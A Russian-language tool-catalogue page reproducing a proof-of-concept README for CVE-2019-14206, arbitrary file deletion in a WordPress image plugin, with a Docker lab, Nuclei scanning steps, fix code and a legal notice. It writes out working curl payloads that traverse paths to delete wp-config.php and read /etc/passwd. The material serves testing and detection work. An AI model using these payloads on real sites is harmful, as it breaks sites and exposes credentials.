Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2019-14206-poc — Эксплойт доказательства концепции для CVE-2019-14206, демонстрирующий произвольное удаление файлов в плагине Adaptive Images для WordPress. Включает Docker-лабораторию, шаблон Nuclei и сценарии ручного тестирования для обучения и проверки безопасности. | Kitploit
Инструменты/GitHubGitHub/developerfred/cve-2019-14206-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubdeveloperfred/cve-2019-14206-poc

cve-2019-14206-poc

Эксплойт доказательства концепции для CVE-2019-14206, демонстрирующий произвольное удаление файлов в плагине Adaptive Images для WordPress. Включает Docker-лабораторию, шаблон Nuclei и сценарии ручного тестирования для обучения и проверки безопасности.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
7 месяцев назадЕщё не проверено

CVE-2019-14206 — Adaptive Images for WordPress: произвольное удаление файлов

📋 Содержание

  1. О уязвимости
  2. Предварительные требования
  3. Установка
  4. Методы тестирования
    • Быстрый тест
    • Полный тест с Docker
    • Тест с Nuclei
    • Ручной тест
  5. Интерпретация результатов
  6. Очистка
  7. Решение проблем
  8. Меры по смягчению
  9. Правовое предупреждение

🎯 О уязвимости

CVE-ID: CVE-2019-14206
Серьёзность: Высокая (CVSS 6.5)
Затронутый плагин: Adaptive Images for WordPress
Затронутые версии: < 0.6.67

Что позволяет эта уязвимость?

Эта уязвимость позволяет удалённому неавторизованному злоумышленнику удалить произвольные файлы на сервере WordPress, используя плагин Adaptive Images.

Реальное воздействие:

  • ❌ Удаление wp-config.php, вызывающее полный сбой сайта
  • ❌ Раскрытие учётных данных базы данных через LFI
  • ⚠️ Цепочка атак, приводящая к RCE (удалённому выполнению кода)
  • 🔴 Полная компрометация сайта WordPress

Корневая причина:

root@kitploit:~
// Плагин использует ввод пользователя БЕЗ санитизации
$settings = $_REQUEST['adaptive-images-settings'];

// Формирует путь к файлу с параметрами, контролируемыми злоумышленником
$cache_file = $wp_content . '/' . $cache_dir . '/' . $resolution . $request_uri;

// УДАЛЯЕТ произвольный файл
unlink($cache_file);

💻 Предварительные требования

Минимальные требования:

  • Операционная система: macOS, Linux или Windows
  • Nuclei: Версия 3.0 или выше (Установить)
  • Bash: Версия 4.0 или выше
  • curl: Для ручных тестов
  • PHP: Версия 7.0+ (опционально, для тестов со встроенным сервером)

Проверка предварительных требований:

root@kitploit:~
# Проверить Nuclei
nuclei --version

# Проверить Bash
bash --version

# Проверить curl
curl --version

# Проверить PHP (опционально)
php --version 2>/dev/null || echo "PHP не доступен (опционально)"

🚀 Установка

Шаг 1: Клонировать или скачать файлы

root@kitploit:~
# Если находитесь в директории nuclei-templates
cd /Volumes/Codingsh/experimentos/nuclei-templates

# Или скачайте необходимые файлы
git clone https://github.com/projectdiscovery/nuclei-templates.git
cd nuclei-templates

Шаг 2: Проверить структуру файлов

root@kitploit:~
# Проверить, существуют ли файлы
ls -la http/cves/2019/CVE-2019-14206.yaml
ls -la cve-2019-14206-poc/

Шаг 3: Сделать скрипты исполняемыми

root@kitploit:~
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc

chmod +x docker-test.sh
chmod +x docker-test-full.sh
chmod +x vulnerability-demo.sh
chmod +x local-test.sh
chmod +x real-target-test.sh

🧪 Методы тестирования

1. Быстрый тест ⏱️ 2 минуты

Запустите полную демонстрацию, которая имитирует всю эксплуатацию:

root@kitploit:~
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
./docker-test.sh

Что происходит:

  • Создаётся полная тестовая среда
  • Имитируется уязвимость
  • Демонстрируется удаление файла
  • Проверяется шаблон Nuclei

Ожидаемый вывод:

root@kitploit:~
[🎉] SUCCESS: wp-config.php DELETED!
[!!!] WORDPRESS SITE IS NOW BROKEN!
✅ Vulnerability: CVE-2019-14206 confirmed
✅ Template Status: Production ready

2. Полный тест с Docker 🐳 10 минут

Шаг 1: Запустить среду Docker

root@kitploit:~
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc

# Если Docker запущен
docker-compose up -d

# Если Docker НЕ запущен, используйте симулятор
./docker-test-full.sh

Шаг 2: Доступ к WordPress

root@kitploit:~
# Среда будет доступна по адресу
# http://localhost:8888

Шаг 3: Проверить уязвимый плагин

root@kitploit:~
# Проверить, существует ли уязвимый скрипт
curl http://localhost:8888/wp-content/plugins/adaptive-images/adaptive-images-script.php

Шаг 4: Выполнить тесты

root@kitploit:~
# Тест LFI
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"

# Тест удаления файла
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"

# Проверить, удалён ли wp-config.php
ls -la /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test/wp-config.php

3. Тест с Nuclei 🎯 5 минут

Шаг 1: Подготовить список целей

root@kitploit:~
# Создать файл с целями
cat > targets.txt << 'EOF'
http://localhost:8888
https://target-wordpress-site.com
EOF

Шаг 2: Выполнить сканирование

root@kitploit:~
# Базовое сканирование
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt

# Детальное сканирование
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -v

# Сканирование с отладкой (ОБЯЗАТЕЛЬНО для баунти)
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -debug

# Сохранить результаты
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -o results.txt

Шаг 3: Интерпретировать результаты

root@kitploit:~
# Просмотреть результаты
cat results.txt

# Положительные результаты будут содержать:
# [CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion

4. Ручной тест 🔧 10 минут

Шаг 1: Запустить PHP-сервер

root@kitploit:~
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test
php -S localhost:8888

Шаг 2: Проверить LFI (чтение файлов)

root@kitploit:~
# Попытаться прочитать /etc/passwd
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"

# Попытаться прочитать wp-config.php
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../wp-config.php"

Ожидаемый результат (LFI):

root@kitploit:~
=== CVE-2019-14206 Vulnerability Test ===

[*] Settings received:
  source_file = /etc/passwd
  ...

[*] Cache file: /var/www/html/wp-content/ai-cache/1920/etc/passwd
[*] Source file: /etc/passwd

Шаг 3: Проверить удаление файлов

root@kitploit:~
# Проверить, существует ли wp-config.php ДО
ls -la wp-config.php

# Выполнить эксплойт
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"

# Проверить, удалён ли wp-config.php ПОСЛЕ
ls -la wp-config.php

Ожидаемый результат (удаление файла):

root@kitploit:~
[+] SUCCESS: Arbitrary file deletion vulnerability confirmed!
[+] Target file deleted: ./../../..//wp-config.php

📊 Интерпретация результатов

Положительный результат (уязвим):

root@kitploit:~
[CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
http://target-wordpress-site.com/wp-content/plugins/adaptive-images/adaptive-images-script.php

Matchers matched:
- Plugin detected
- LFI vulnerability confirmed
- Arbitrary file deletion possible

Отрицательный результат (не уязвим):

root@kitploit:~
[N/A] No results found

Возможные причины ложноотрицательного результата:

  • ✅ Плагин не установлен
  • ✅ Плагин обновлён (версия >= 0.6.67)
  • ✅ WAF блокирует запросы
  • ✅ Сервер не отвечает по ожидаемым путям

🧹 Очистка

Очистить тестовую среду:

root@kitploit:~
# Удалить среду Docker
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
docker-compose down -v 2>/dev/null

# Удалить тестовые файлы
rm -rf docker-test/
rm -f targets.txt results.txt

# Восстановить wp-config.php, если он был удалён
cat > wp-config.php << 'EOF'
<?php
// Восстановленный файл
define('DB_NAME', 'wordpress');
EOF

Очистить Nuclei:

root@kitploit:~
# Удалить результаты сканирования
rm -f results.txt

# Очистить кеш (опционально)
nuclei -rm-cache

🔧 Решение проблем

Проблема 1: Nuclei не найден

root@kitploit:~
# Установить Nuclei
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# Или скачать бинарник
wget https://github.com/projectdiscovery/nuclei/releases/download/v3.0.0/nuclei-linux-amd64.zip
unzip nuclei-linux-amd64.zip
chmod +x nuclei
sudo mv nuclei /usr/local/bin/

Проблема 2: Шаблон не загружается

root@kitploit:~
# Проверить, существует ли файл
ls -la http/cves/2019/CVE-2019-14206.yaml

# Проверить синтаксис YAML
python3 -c "import yaml; yaml.safe_load(open('http/cves/2019/CVE-2019-14206.yaml'))"

# Использовать абсолютный путь
nuclei -t /Volumes/Codingsh/experimentos/nuclei-templates/http/cves/2019/CVE-2019-14206.yaml -u http://target

Проблема 3: PHP-сервер не запускается

root@kitploit:~
# Проверить порт
lsof -i :8888

# Использовать другой порт
php -S localhost:9999

# Проверить установленный PHP
which php
php --version

Проблема 4: Docker не работает

root@kitploit:~
# Проверить статус Docker
docker ps

# Запустить Docker
# На macOS: Открыть Docker Desktop
# На Linux: sudo systemctl start docker

# Использовать режим симулятора (работает без Docker)
./docker-test-full.sh

🛡️ Меры по смягчению

Немедленная защита:

  1. Обновить плагин:

    root@kitploit:~
    Панель WordPress > Плагины > Обновить Adaptive Images
    
  2. Безопасная версия: >= 0.6.67

  3. Удалить уязвимый плагин:

    root@kitploit:~
    rm -rf wp-content/plugins/adaptive-images/
    

Защита в коде (для разработчиков):

root@kitploit:~
// ✅ БЕЗОПАСНЫЙ КОД (Пример исправления)
function adaptive_images_script_get_settings() {
    // Санитизация ввода
    $allowed_keys = ['cache_dir', 'resolution', 'request_uri'];
    $settings = [];
    
    foreach ($allowed_keys as $key) {
        if (isset($_REQUEST['adaptive-images-settings'][$key])) {
            $settings[$key] = sanitize_text_field($_REQUEST['adaptive-images-settings'][$key]);
        }
    }
    
    return $settings;
}

function adaptive_images_delete_stale_cache_image($source_file, $cache_file, $resolution) {
    // Проверка путей
    $allowed_cache_dirs = ['ai-cache', 'adaptive-cache'];
    $cache_dir = basename(dirname($cache_file));
    
    if (!in_array($cache_dir, $allowed_cache_dirs)) {
        return false; // Отклонить недопустимые пути
    }
    
    // Использовать проверенные абсолютные пути
    $cache_file = WP_CONTENT_DIR . '/ai-cache/' . basename($cache_file);
    
    if (file_exists($cache_file)) {
        unlink($cache_file);
    }
}

⚠️ Правовое предупреждение

Условия использования:

Данный материал предоставляется исключительно для образовательных целей и целей тестирования безопасности.

Что МОЖНО делать:

  • ✅ Тестировать на системах, которыми вы владеете
  • ✅ Использовать в лабораторных средах
  • ✅ Изучать веб-уязвимости
  • ✅ Вносить вклад в безопасность открытого ПО
  • ✅ Тестировать свои собственные приложения

Что НЕЛЬЗЯ делать:

  • ❌ Тестировать системы без разрешения
  • ❌ Причинять ущерб или вызывать сбои
  • ❌ Использовать в злонамеренных целях
  • ❌ Продавать или распространять эксплойты
  • ❌ Публиковать информацию об уязвимых системах

Ответственность:

Автор и участники НЕ несут ответственности за любое:

  • Неправомерное использование данного материала
  • Причинённый системам ущерб
  • Потерю данных
  • Прерывание обслуживания
  • Юридические проблемы

Ответственное раскрытие:

Если вы обнаружите эту уязвимость в реальных системах:

  1. НЕ эксплуатируйте и не причиняйте ущерб
  2. ЗАДОКУМЕНТИРУЙТЕ уязвимость
  3. УВЕДОМИТЕ ответственного за систему
  4. СЛЕДУЙТЕ руководству по ответственному раскрытию

📚 Дополнительные ресурсы

Ссылки:

  • NVD — CVE-2019-14206
  • Исходное исследование
  • Официальный плагин
  • Статья WPScan

Связанные инструменты:

  • Nuclei
  • nuclei-templates
  • WPScan
  • Wordfence

🎓 Что можно изучить

Данный проект демонстрирует:

  1. Проверка ввода: Важность санитизации всех пользовательских входных данных
  2. Обход пути: Как можно манипулировать путями к файлам
  3. Файловые операции: Риски функций типа unlink() с пользовательским вводом
  4. Безопасность плагинов: Типичные уязвимости плагинов WordPress
  5. Анализ CVE: Как анализировать и воспроизводить уязвимости
  6. Разработка обнаружения: Как создавать эффективные шаблоны обнаружения

📝 Журнал изменений

Версия 1.0.0 (2026-01-04)

  • ✅ Создан шаблон Nuclei
  • ✅ Полная среда PoC
  • ✅ Полная документация
  • ✅ Проверенные тестовые скрипты
  • ✅ Рабочая демонстрация

🤝 Вклад

Вклад приветствуется! Чтобы внести свой вклад:

  1. Сделайте форк репозитория
  2. Создайте ветку (git checkout -b feature/improvement)
  3. Зафиксируйте изменения (git commit -am 'Add improvement')
  4. Отправьте в ветку (git push origin feature/improvement)
  5. Создайте Pull Request

📧 Поддержка

По вопросам или проблемам:

  1. Проверьте раздел Решение проблем
  2. Проверьте issues репозитория
  3. Опишите проблему с указанием:
    • Операционной системы
    • Версии Nuclei
    • Версии PHP (если применимо)
    • Полного сообщения об ошибке
    • Шагов для воспроизведения

🎉 Спасибо за использование данного тестового материала!

Помните: с большой силой приходит большая ответственность. Используйте эти знания, чтобы сделать интернет безопаснее, а не уязвимее.


Создано: 4 января 2026 г.
Версия: 1.0.0
Статус: ✅ Готово к использованию в производстве

Скачать инструмент